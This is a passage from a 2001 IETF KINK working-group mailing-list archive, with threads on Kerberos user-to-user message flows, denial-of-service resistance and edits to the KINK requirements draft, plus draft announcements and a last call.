only stay in the loop but to provide their real IP > | Address in order to get proper responses from the client and back to > | the client. This type of attack is extremely easy to track down, and > | it directly points to the attacker. In other words, in my version of > | the protocol the attacker must provide their real identity (IP > | Address) before any work is done by the client or KDC. > | > | In your version, the attacker could send a fake source-address and > | never be tracked down. Also, you leave out the client->KDC and > | KDC->client messages (before the AP Request).. Your protocol is just > | as suspect as mine in that respect -- the client would make a KDC > | request if it needs a ticket (just like it would in mine). > | > | The difference is that in my protocol, the client knows that the > | "server" (or attacker) is real and wants to be a part of the protocol. > | If it's an attacker, we know who it is. > | > | -derek > | > | "Medvinsky, Sasha (SD-EX)" writes: > | > | > Derek, > | > > | > What I meant is that anyone can send the 'Initiate' command in your proposed > | > sequence and when the bogus server then gets a GetTGT request, it can reply > | > with whatever TGT it likes - valid or not. > | > > | > In my proposal: server -> client: Authenticate Request > | > client -> server: AP Request > | > server -> client: AP Reply > | > > | > The Authenticate Request and AP Request are also tied together with a > | > 'server cookie' and so if the Authenticate Request is from an adversary > | > impersonating some server and the AP Request is to a real server - the real > | > server will drop the AP Request. So, the Denial of Service attack wasn't on > | > the server. Mike Thomas brought up the issue of the zombie attacks on the > | > KDC, where the clients will send TGS Requests to the KDC after a bogus > | > Authenticate Request. > | > > | > Your proposal doesn't help with this denial of service attack - anyone can > | > still send the 'Initiate' and wait for the GetTGT, respond with anything > | > they like. The KDC would still get hit with the TGS requests for > | > user-to-user tickets possibly with bogus server TGTs. So, it requires an > | > adversary to implement a couple more messages. If you want to use the > | > user-to-user mode, the Authenticate Request could contain the server's TGT > | > as Mike once proposed. > | > > | > I am not sure that this denial of service attack on the KDC is a big > | > problem, but my point is that the extra two messages in your proposed flows > | > (GetTGT requst and response) don't provide any additional security. > | > > | > Sasha. > | > > | > > -----Original Message----- > | > > From: Derek Atkins [mailto:warlord@MIT.EDU] > | > > Sent: Tuesday, January 23, 2001 6:15 PM > | > > To: Medvinsky, Sasha (SD-EX) > | > > Cc: Michael Thomas; Jonathan Trostle; ietf-kink@vpnc.org > | > > Subject: Re: KINK user-user scenario > | > > > | > > > | > > You're forgetting the client and server cookies :) > | > > > | > > The client verifies that the TGT is from the real server because it > | > > contains a cookie that the client inserted into the GetTGT request. > | > > The attacker would have to guess the client's 'cookie' in order to > | > > send a TGT that the client will accept. In other words, the GetTGT > | > > request contains two cookies, the server cookie as well as the client > | > > cookie. > | > > > | > > Sure, you're sacked if the attacker can snoop on the network. But in > | > > case you have other, bigger problems (and zombies are the worst of > | > > your worries). > | > > > | > > Note that the validity of the TGT is being completely ignored. What > | > > we get from this protocol is that both the client and the server are > | > > mutually aware that they want to perform a handoff. > | > > > | > > -derek > | > > > | > > "Medvinsky, Sasha (SD-EX)" writes: > | > > > | > > > Derek, > | > > > > | > > > I don't agree that your proposal below protects against all > | > > types of DOS > | > > > attacks. It is no different in that respect than my proposal. The > | > > > adversary doesn't even have to possess a valid TGT. When > | > > the client receives > | > > > a response to a "GetTGT", it has no way to verify the TGT > | > > and simply has to > | > > > send it over to the KDC. If the adversary wants to have a > | > > valid TGT, it can > | > > > get that as well - by snooping. > | > > > > | > > > Sasha. > | > > > > | > > > > | > > > > -----Original Message----- > | > > > > From: Derek Atkins [mailto:warlord@MIT.EDU] > | > > > > Sent: Tuesday, January 23, 2001 5:40 PM > | > > > > To: Michael Thomas > | > > > > Cc: Medvinsky, Sasha (SD-EX); Jonathan Trostle; ietf-kink@vpnc.org > | > > > > Subject: Re: KINK user-user scenario > | > > > > > | > > > > > | > > > > Michael Thomas writes: > | > > > > > | > > > > > Derek Atkins writes: > | > > > > > > App-Client App-Server KDC > | > > > > > > <--- Inititate > | > > > > > > > | > > > > > > { if no ticket is cached ... > | > > > > > > > | > > > > > > { direct case: > | > > > > > > TGS_REQ ---------------------> > | > > > > > > <------------------------TGS_REP > | > > > > > > } > | > > > > > > { U2U case (or if direct case failed): > | > > > > > > GetTGT* ---------> > | > > > > > > <---------- U2U TGT > | > > > > > > TGS_REQ ---------------------> > | > > > > > > <------------------------TGS_REP > | > > > > > > } > | > > > > > > } > | > > > > > > > | > > > > > > AP_REQ* --------> > | > > > > > > <--------- AP_REP > | > > > > > > > | > > > > [snip] > | > > > > > How so? This looks the same to me as any other wakeup > | > > > > > scheme: a minimal amount of work by the attacker (the > | > > > > > "server" in your diagram) causes the attacked (client, > | > > > > > KDC) to generate a non-minimal amount of work and > | > > > > > traffic. This looks like the same old Zombie kind of > | > > > > > attack as before. > | > > > > > | > > > > It's a modification to the wakeup scheme. Honestly, I > | > > was thinking > | > > > > about it in terms of U2U, not regular mode. In the U2U mode, this > | > > > > does protect against the DoS attacks. But you're right, > | > > the regular > | > > > > case only protects the App Server, not the client or KDC (which I > | > > > > suppose implies an impact on the App Server in that the > | > > client will > | > > > > try to initiate connections with anyone). > | > > > > > | > > > > This hybrid was based on the pushback of "too many messages". > | > > > > Obviously we can go back to my prior suggestion which > | > > basically adds > | > > > > one round trip in order to perform the handoff. > | > > > > > | > > > > As I said, this is a question for the WG. How important is the > | > > > > handoff situation, versus how many extra messages do we > | > > want to add to > | > > > > support the handoff? And which is more important to the WG, > | > > > > supporting a handoff situation with fewer messages or protecting > | > > > > against DoS? (Putting on my chairman hat, I would suggest that > | > > > > protecting against DoS is more important than supporting > | > > handoffs with > | > > > > fewer messages -- without my hat I consider handoffs to be a lower > | > > > > priority). > | > > > > > | > > > > So, we can go back to my older suggestion: > | > > > > > | > > > > C S K > | > > > > <-- Init > | > > > > Ack --> (Ack == "GetTGT") > | > > > > <--- TGT > | > > > > TGS_REQ -------> (REQ/REP can be repeated for > | > > > > service ticket > | > > > > <----------- TGS_REP to U2U failover or ignored for > | > > > > cached tickets) > | > > > > AP_REQ-> > | > > > > <- AP_REP > | > > > > > | > > > > Where the TGS_REQ/TGS_REP could theoretically be either a regular > | > > > > service-ticket request, a U2U request, or potentially > | > > both. Obviously > | > > > > using U2U is just as cheap as anything else at this point. ;) > | > > > > > | > > > > I believe that this protocol _does_ protect against the > | > > DoS attacks in > | > > > > all cases, but it does add one extra roundtrip in the case of a > | > > > > non-U2U case over Sasha's wakeup protocol. > | > > > > > | > > > > > Mike > | > > > > > | > > > > -derek > | > > > > > | > > > > -- > | > > > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > | > > > > Member, MIT Student Information Processing Board (SIPB) > | > > > > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > | > > > > warlord@MIT.EDU PGP key available > | > > > > > | > > > | > > -- > | > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > | > > Member, MIT Student Information Processing Board (SIPB) > | > > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > | > > warlord@MIT.EDU PGP key available > | > > > | > | -- > | Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > | Member, MIT Student Information Processing Board (SIPB) > | URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > | warlord@MIT.EDU PGP key available > -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Fri Jan 26 11:58:24 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id LAA10059 for ietf-kink-bks; Fri, 26 Jan 2001 11:58:24 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA10055 for ; Fri, 26 Jan 2001 11:58:23 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id PAA21816; Fri, 26 Jan 2001 15:04:43 -0500 To: Michael Thomas Cc: ietf-kink@vpnc.org Subject: Re: My comments on the KINK Requirements References: <14958.9993.50274.374931@thomasm-u1.cisco.com> From: Derek Atkins Date: 26 Jan 2001 15:04:43 -0500 In-Reply-To: Michael Thomas's message of "Tue, 23 Jan 2001 16:51:21 -0800 (PST)" Message-ID: Lines: 90 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Michael Thomas writes: > So, I'm trying to collect the conclusion of this thread to > finalize the requirements draft. I'd like to get this done > soon. Sounds like a plan :) > I'll respond to each of these, and hopefully we can wrap > this up. > > Derek Atkins writes: > > KINK must meet the following requirements at a minimum: > > > > - The protocol must use Kerberos to create session keys in a secure > > fashion > > > > A side effect of this is that the protocol must use the Kerberos > > session key as part of the generation of IPSec keys. > > Correct. Do you think we need to be explicit about the generation > part? Yes. Jeff has asked (in the past) to make this an explicit requirement. So, we should be as explicit as we can. > > - The protocol must be able to start up SA's regardless of any > > client/server disposition in the keying protocol > > > > In other words, either IPSec peer can be the initiator or responder, > > regardless of whether it's a Kerberos 'client' (TGT-only) or Kerberos > > 'server' (has a keytab). > > Correct. Ok, we should be more explicit (again, extra verbiage explaining what you mean is "ok" -- we're not going for short bullet-point items :) > > > > - Kerberos makes a distinction between clients and servers; IPsec > > does not. The protocol must allow for IPsec security associations > > to be initiated by both servers and clients, thus preserving > > IPsec's peer to peer nature. > > > > Isn't this the same thing, just said differently? > > Yeah, probably. Which version do you like better? :-) Honestly, I don't think I have a preference. Feel free to combine them, however -- we should probably only have one requirement to a customer. > > - The protocol must be able to initially authenticate using either > > secret key, or public key authentication. > > > > - The protocol must accommodate any combination of public and secret > > key peers > > > > I'm not convinced we need to reference public/secret key. We just use > > what Kerberos provides. So, I think these two requirements can > > probably be rewritten to say: > > > > - The protocol must allow an initiator or a responder (or both) to > > authenticate with just a TGT (using Kerberos User-to-User). > > This is what lead to your discussion with Matt. I'm cool > with your final wording if Matt is. Ok. Matt? > > - The protocol must be capable of rekeying without the assistance of > > the KDC if the session ticket is still valid > > > > Using the phrase "Kerberos session ticket" is probably clearer. > > Ok. > > > The following sections do not belong in the requirements draft: > > Right. Will nuke. Wonderful. I look forward to seeing another draft. -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Sat Jan 27 17:24:41 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id RAA16376 for ietf-kink-bks; Sat, 27 Jan 2001 17:24:41 -0800 (PST) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id RAA16372 for ; Sat, 27 Jan 2001 17:24:39 -0800 (PST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-4.cisco.com (8.9.3/8.9.1) with ESMTP id RAA24304; Sat, 27 Jan 2001 17:30:41 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAT00476; Sat, 27 Jan 2001 17:30:37 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id RAA28075; Sat, 27 Jan 2001 17:30:37 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14963.30269.249961.668010@thomasm-u1.cisco.com> Date: Sat, 27 Jan 2001 17:30:37 -0800 (PST) To: "Medvinsky, Sasha (SD-EX)" Cc: "'Derek Atkins'" , Michael Thomas , Jonathan Trostle , ietf-kink@vpnc.org Subject: RE: KINK user-user scenario In-Reply-To: <97DEDE66B3DCD11199D200805FA71BE202FD4B31@NTAS0027> References: <97DEDE66B3DCD11199D200805FA71BE202FD4B31@NTAS0027> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Medvinsky, Sasha (SD-EX) writes: > [sasha] This is not a big problem if you have a 'server cookie' in the > initiate and then again in the AP Request - the real server would ignore any > AP Requests that it didn't initiate. Presumably, you'd have to do less work to filter out responses with bogus cookies. If the cookie doesn't require an ASN.1 decode or crypto, that seems like a fairly good assumption. Mike From owner-ietf-kink Mon Jan 29 09:55:36 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id JAA13362 for ietf-kink-bks; Mon, 29 Jan 2001 09:55:36 -0800 (PST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA13356 for ; Mon, 29 Jan 2001 09:55:34 -0800 (PST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id KAA03276; Mon, 29 Jan 2001 10:01:54 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAT01982; Mon, 29 Jan 2001 10:01:42 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA28597; Mon, 29 Jan 2001 10:01:42 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14965.45062.28511.805513@thomasm-u1.cisco.com> Date: Mon, 29 Jan 2001 10:01:42 -0800 (PST) To: Matthew Hur Cc: Derek Atkins , Michael Thomas , ietf-kink@vpnc.org Subject: Re: My comments on the KINK Requirements In-Reply-To: <4.3.2.7.2.20010129095604.00b6c9c8@mira-sjc5-5.cisco.com> References: <14958.9993.50274.374931@thomasm-u1.cisco.com> <4.3.2.7.2.20010129095604.00b6c9c8@mira-sjc5-5.cisco.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Great. I'll get the new draft out asap. Mike Matthew Hur writes: > At 03:04 PM 1/26/2001 -0500, Derek Atkins wrote: > >Michael Thomas writes: > > > > I'm not convinced we need to reference public/secret key. We just use > > > > what Kerberos provides. So, I think these two requirements can > > > > probably be rewritten to say: > > > > > > > > - The protocol must allow an initiator or a responder (or both) to > > > > authenticate with just a TGT (using Kerberos User-to-User). > > > > > > This is what lead to your discussion with Matt. I'm cool > > > with your final wording if Matt is. > > > >Ok. Matt? > > > OK by me. > > > From owner-ietf-kink Mon Jan 29 09:51:14 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id JAA13066 for ietf-kink-bks; Mon, 29 Jan 2001 09:51:14 -0800 (PST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA13062 for ; Mon, 29 Jan 2001 09:51:12 -0800 (PST) Received: from mira-sjc5-5.cisco.com (mira-sjc5-5.cisco.com [171.71.163.22]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id JAA28235; Mon, 29 Jan 2001 09:57:32 -0800 (PST) Received: from mhur-w2k.cisco.com (sjc-vpn-54.cisco.com [10.21.64.54]) by mira-sjc5-5.cisco.com (Mirapoint) with ESMTP id AAE05710; Mon, 29 Jan 2001 09:57:20 -0800 (PST) Message-Id: <4.3.2.7.2.20010129095604.00b6c9c8@mira-sjc5-5.cisco.com> X-Sender: mhur@mira-sjc5-5.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 29 Jan 2001 09:56:53 -0800 To: Derek Atkins , Michael Thomas From: Matthew Hur Subject: Re: My comments on the KINK Requirements Cc: ietf-kink@vpnc.org In-Reply-To: References: <14958.9993.50274.374931@thomasm-u1.cisco.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At 03:04 PM 1/26/2001 -0500, Derek Atkins wrote: >Michael Thomas writes: > > > I'm not convinced we need to reference public/secret key. We just use > > > what Kerberos provides. So, I think these two requirements can > > > probably be rewritten to say: > > > > > > - The protocol must allow an initiator or a responder (or both) to > > > authenticate with just a TGT (using Kerberos User-to-User). > > > > This is what lead to your discussion with Matt. I'm cool > > with your final wording if Matt is. > >Ok. Matt? OK by me. From owner-ietf-kink Thu Feb 1 03:49:04 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id DAA28009 for ietf-kink-bks; Thu, 1 Feb 2001 03:49:04 -0800 (PST) Received: from ietf.org (odin.ietf.org [132.151.1.176]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id DAA28005 for ; Thu, 1 Feb 2001 03:49:02 -0800 (PST) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA23885; Thu, 1 Feb 2001 06:55:54 -0500 (EST) Message-Id: <200102011155.GAA23885@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-kink@vpnc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-kink-reqmt-01.txt Date: Thu, 01 Feb 2001 06:55:54 -0500 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Kerberized Internet Negotiation of Keys Working Group of the IETF. Title : Kerberized Internet Negotiation of Keys Author(s) : M. Thomas Filename : draft-ietf-kink-reqmt-01.txt Pages : 5 Date : 31-Jan-01 The KINK working group is chartered to create a standards track protocol to facilitate centralized key management for IPsec security associations as defined in RFC 2401, as an alternative to IKE (RFC 2409). Participating systems will use the Kerberos architecture as defined in RFC 1510 (and its successors) for key management. The goal of the working group is to produce a streamlined, fast, easily managed, and cryptographically sound protocol without requiring public key. The working group will not require changes to either IPsec (RFC 2401), or Kerberos (RFC 1510). A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-kink-reqmt-01.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-kink-reqmt-01.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-kink-reqmt-01.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20010131133834.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-kink-reqmt-01.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-kink-reqmt-01.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20010131133834.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-kink Wed Feb 14 12:52:08 2001 Received: by above.proper.com (8.9.3/8.9.3) id MAA15018 for ietf-kink-bks; Wed, 14 Feb 2001 12:52:08 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by above.proper.com (8.9.3/8.9.3) with ESMTP id MAA15013 for ; Wed, 14 Feb 2001 12:52:06 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id PAA31899; Wed, 14 Feb 2001 15:52:05 -0500 To: ietf-kink@vpnc.org Subject: Minneapolis Meeting is coming soon From: Derek Atkins Date: 14 Feb 2001 15:52:04 -0500 Message-ID: Lines: 25 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Yes, it's getting close to that time again. Minneapolis is approaching, and we need to arrange an agenda. I've already got us a two-hour time slot, so I am accepting requests for presentations. Also, the deadline for new and revised drafts is close: February 23 - Internet Draft Cut-off for initial document (-00) submission at 17:00 ET March 2 - Internet Draft final submission cutoff date at 1700 ET If you plan to submit or update your drafts you should get them in to the editors soon. Finally, I'd like to hear any comments on the KINK Requirements draft. Silence will be taken as consent (or lack of argument) with the draft. Thanks, -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Thu Mar 1 06:47:04 2001 Received: (from majordomo@localhost) by above.proper.com (8.9.3/8.9.3) id GAA24450 for ietf-kink-bks; Thu, 1 Mar 2001 06:47:04 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by above.proper.com (8.9.3/8.9.3) with ESMTP id GAA24446 for ; Thu, 1 Mar 2001 06:47:03 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id JAA20609; Thu, 1 Mar 2001 09:46:58 -0500 To: ietf-kink@vpnc.org Cc: mat@cisco.com Subject: Editorial fixes for KINK Requirements From: Derek Atkins Date: 01 Mar 2001 09:46:58 -0500 Message-ID: Lines: 97 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Mike, Here are some "diffs" against the requirements draft (-01). The changes I made are: * spelling corrections * remove extra blank lines * fix a requirement that ends abruptly * re-word the 'initial authentication' requirement so it is clear we mean 'initial kerberos authentication' Can you apply this patch? If this patch isn't clear (it's a UNIX context diff), I can send it in another form or just send you my modified text. Let me know which you prefer. -derek *** draft-ietf-kink-reqmt-01.txt~ Thu Mar 1 09:32:57 2001 --- draft-ietf-kink-reqmt-01.txt Thu Mar 1 09:41:17 2001 *************** *** 157,174 **** the basis of the keying material used for IPsec security associa- tion keys. - - The protocol must be able to integrate into security architecture ! of IPSec (RFC 2401) - The protocol must be able to start up SA's regardless of any client/server disposition in the keying protocol. In other words, ! either IPSec peer can be the initiator or responder, regardless of ! whether it's a Kerberos 'client' (TGT-only) or Kerberos ! ! - The protocol must be able to initially authenticate using either ! secret key, or public key authentication. - The protocol must support Kerberos User-to-User mode for cases in which the initiator cannot obtain an AP_REQ for the responder (i.e. --- 157,173 ---- the basis of the keying material used for IPsec security associa- tion keys. - The protocol must be able to integrate into security architecture ! of IPsec (RFC 2401) - The protocol must be able to start up SA's regardless of any client/server disposition in the keying protocol. In other words, ! either IPsec peer can be the initiator or responder, regardless of ! whether it's a Kerberos 'client' (TGT-only) or Kerberos 'server' ! (has a keytab). ! - The protocol must support Kerberos using either secret key or ! public key (PKINIT) initial authentication. - The protocol must support Kerberos User-to-User mode for cases in which the initiator cannot obtain an AP_REQ for the responder (i.e. *************** *** 185,191 **** the responder is a PKINIT client) or the responder cannot decrypt ! and AP_REQ from the initiator (i.e. the ressponder doesn't have a Kerberos Keytab, just a TGT). - The protocol must be able to allow a peer to authenticate and par- --- 184,190 ---- the responder is a PKINIT client) or the responder cannot decrypt ! and AP_REQ from the initiator (i.e. the responder doesn't have a Kerberos Keytab, just a TGT). - The protocol must be able to allow a peer to authenticate and par- *************** *** 197,203 **** security associations - The protocol must be capable of setting up both transport and tun- ! nel modes of IPSec - The protocol must be capable of setting up both AH and ESP security associations --- 196,202 ---- security associations - The protocol must be capable of setting up both transport and tun- ! nel modes of IPsec - The protocol must be capable of setting up both AH and ESP security associations -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Thu Mar 1 06:52:48 2001 Received: by above.proper.com (8.9.3/8.9.3) id GAA24883 for ietf-kink-bks; Thu, 1 Mar 2001 06:52:48 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by above.proper.com (8.9.3/8.9.3) with ESMTP id GAA24878 for ; Thu, 1 Mar 2001 06:52:46 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id JAA20617; Thu, 1 Mar 2001 09:52:47 -0500 To: ietf-kink@vpnc.org Cc: jtrostle@cisco.com Subject: WG Last Call for KINK Requirements draft From: Derek Atkins Date: 01 Mar 2001 09:52:43 -0500 Message-ID: Lines: 20 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi, I'd like to call a WG last call on the KINK Requirements (draft-ietf-kink-reqmt-01). Please consider my last patch to the requirements as a part of the draft. The last-call period will end at 1700 (5pm) US/Eastern on Friday, March 16, 2001. Please send any comments to the list. Thank you, -derek Co-Chair, KINK-WG -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Mon Mar 5 03:45:13 2001 Received: by above.proper.com (8.9.3/8.9.3) id DAA14770 for ietf-kink-bks; Mon, 5 Mar 2001 03:45:13 -0800 (PST) Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.9.3/8.9.3) with ESMTP id DAA14765 for ; Mon, 5 Mar 2001 03:45:11 -0800 (PST) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA11065; Mon, 5 Mar 2001 06:45:11 -0500 (EST) Message-Id: <200103051145.GAA11065@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-kink@vpnc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-kink-reqmt-02.txt Date: Mon, 05 Mar 2001 06:45:10 -0500 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Kerberized Internet Negotiation of Keys Working Group of the IETF. Title : Kerberized Internet Negotiation of Keys Author(s) : M. Thomas Filename : draft-ietf-kink-reqmt-02.txt Pages : 5 Date : 02-Mar-01 The KINK working group is chartered to create a standards track protocol to facilitate centralized key management for IPsec security associations as defined in RFC 2401, as an alternative to IKE (RFC 2409). Participating systems will use the Kerberos architecture as defined in RFC 1510 (and its successors) for key management. The goal of the working group is to produce a streamlined, fast, easily managed, and cryptographically sound protocol without requiring public key. The working group will not require changes to either IPsec (RFC 2401), or Kerberos (RFC 1510). A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-kink-reqmt-02.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-kink-reqmt-02.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-kink-reqmt-02.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20010302132050.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-kink-reqmt-02.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-kink-reqmt-02.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20010302132050.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-kink Mon Mar 5 06:31:27 2001 Received: (from majordomo@localhost) by above.proper.com (8.9.3/8.9.3) id GAA27042 for ietf-kink-bks; 